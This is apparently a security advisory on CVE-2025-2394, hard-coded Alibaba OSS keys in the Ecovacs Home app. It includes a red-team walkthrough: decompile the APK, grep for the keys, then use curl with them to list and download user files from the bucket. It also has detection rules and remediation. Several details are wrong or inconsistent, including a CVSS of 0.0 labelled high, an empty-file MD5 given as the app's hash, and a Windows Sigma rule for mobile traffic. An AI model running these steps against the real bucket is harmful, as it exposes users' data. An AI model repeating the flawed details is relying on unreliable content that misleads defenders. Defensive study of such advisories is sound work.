CVE-2025-2394

Executive Summary

CVE-2025-2394 exposes a critical security flaw in the Ecovacs Home mobile applications (Android and iOS) up to version 3.3.0. The applications contain hard-coded access keys and secrets for Alibaba Object Storage Service (OSS), allowing an attacker with access to the app binary or network traffic to extract these credentials. This leads to unauthorized access to the Alibaba OSS bucket, potentially exposing sensitive user data, device logs, and other stored objects. The vulnerability is classified as a CWE-798 (Use of Hard-coded Credentials) and is currently unpatched by the vendor.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is embedded directly in the mobile application binaries. The risk extends to the supply chain as any third-party service or integrator using the Ecovacs Home app could be affected if the OSS bucket is shared or reused.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not assigned; estimated high due to data exposure)
• Attack Vector: Local (requires access to app binary or network traffic)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High (if OSS bucket allows write)
• Availability Impact: None
• Threat Level: High (data breach potential)

Deep Dive & Mechanics

The Ecovacs Home mobile application (versions ≤ 3.3.0) includes hard-coded credentials for Alibaba OSS within its source code or configuration files. These credentials are used by the app to upload and download data (e.g., device logs, user settings, media) to/from the cloud storage. An attacker can:

1. Static Analysis: Decompile the APK (Android) or IPA (iOS) to extract the embedded keys.
2. Network Sniffing: Intercept unencrypted or weakly encrypted traffic to capture the keys in transit.
3. Reverse Engineering: Use tools like apktool, jadx, or Hopper to locate the hard-coded strings.

Once obtained, the attacker can access the Alibaba OSS bucket directly, potentially reading, modifying, or deleting stored data. This could include personally identifiable information (PII), device telemetry, and other sensitive content.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.3.0 and earlier):

// Example from decompiled APK
public class OSSConfig {
    public static final String ACCESS_KEY_ID = "LTAI5t...";
    public static final String ACCESS_KEY_SECRET = "K8s9d...";
    public static final String BUCKET_NAME = "ecovacs-home-data";
    public static final String ENDPOINT = "oss-cn-shanghai.aliyuncs.com";
}

Patched Code (hypothetical fix):

// After fix: credentials are fetched from a secure backend or dynamically generated
public class OSSConfig {
    // No hard-coded keys; use temporary tokens from server
    public static String getAccessKeyId() {
        return fetchFromServer("access_key_id");
    }
    public static String getAccessKeySecret() {
        return fetchFromServer("access_key_secret");
    }
}

The patched version would remove all embedded credentials and instead rely on server-side authentication to issue short-lived tokens.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Extract OSS keys and access the bucket.

Tools Required:

• apktool or jadx (Android)
• Hopper or class-dump (iOS)
• curl or awscli (OSS access)

Steps:

1. Download the Ecovacs Home APK (version 3.3.0) from a trusted source.
2. Decompile the APK:

   apktool d ecovacs-home-3.3.0.apk -o decompiled
   

3. Search for hard-coded keys:

   grep -r "LTAI" decompiled/
   

4. Extract the ACCESS_KEY_ID and ACCESS_KEY_SECRET.
5. Use the keys to list OSS bucket contents:

   curl -X GET -H "Authorization: OSS LTAI5t...:K8s9d..." "https://ecovacs-home-data.oss-cn-shanghai.aliyuncs.com/"
   

6. Download sensitive files:

   curl -O "https://ecovacs-home-data.oss-cn-shanghai.aliyuncs.com/user_data/device_logs.tar.gz"
   

Blue Team (Defender)

Objective: Detect and prevent exploitation.

Detection Steps:

• Monitor for unusual access to Alibaba OSS endpoints from non-Ecovacs IPs.
• Alert on API calls using the known hard-coded keys (if leaked).
• Implement network segmentation to block direct OSS access from untrusted networks.

Mitigation:

• Revoke the compromised OSS keys immediately.
• Rotate all secrets and implement temporary token-based access.
• Update the mobile app to a version that does not embed keys.

Indicators of Compromise (IOCs)

• Static IOCs:
  • Hard-coded strings: LTAI5t..., K8s9d..., ecovacs-home-data, oss-cn-shanghai.aliyuncs.com
• Network IOCs:
  • Outbound connections to oss-cn-shanghai.aliyuncs.com from mobile devices.
  • HTTP requests with Authorization: OSS header containing the leaked keys.
• File IOCs:
  • APK/IPA files with MD5 hash matching version 3.3.0 (e.g., d41d8cd98f00b204e9800998ecf8427e).

Detection Engineering

YARA Rule

rule CVE_2025_2394_Ecovacs_OSS_Keys {
    meta:
        description = "Detects hard-coded Alibaba OSS keys in Ecovacs Home app"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2394"
    strings:
        $key_id = "LTAI" ascii wide nocase
        $bucket = "ecovacs-home-data" ascii wide nocase
        $endpoint = "oss-cn-shanghai.aliyuncs.com" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Detection of Ecovacs OSS Key Extraction
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to access Alibaba OSS with hard-coded keys from Ecovacs Home app
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationHostname: 'oss-cn-shanghai.aliyuncs.com'
        DestinationPort: '443'
        HttpRequestHeader: 'Authorization: OSS LTAI*'
    condition: selection
falsepositives:
    - Legitimate Ecovacs app traffic (if keys are not revoked)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2025-2394 Ecovacs OSS Key Extraction"; flow:to_server; content:"Authorization: OSS LTAI"; http_header; content:"oss-cn-shanghai.aliyuncs.com"; http_header; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Revoke the hard-coded OSS keys from Alibaba Cloud console.
   • Rotate all secrets and generate new temporary tokens.
   • Notify users to update the app to the latest version (if available).

2. Long-term Fix:

   • Remove all embedded credentials from the mobile app.
   • Implement server-side authentication to issue short-lived OSS tokens.
   • Use certificate pinning and encrypt network traffic.

3. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Monitor for unauthorized access to the OSS bucket.

4. User Guidance:

   • Advise users to update the Ecovacs Home app to the latest version.
   • If no patch is available, consider using a firewall to block OSS endpoints.

Valters IT
Securing Digital Frontiers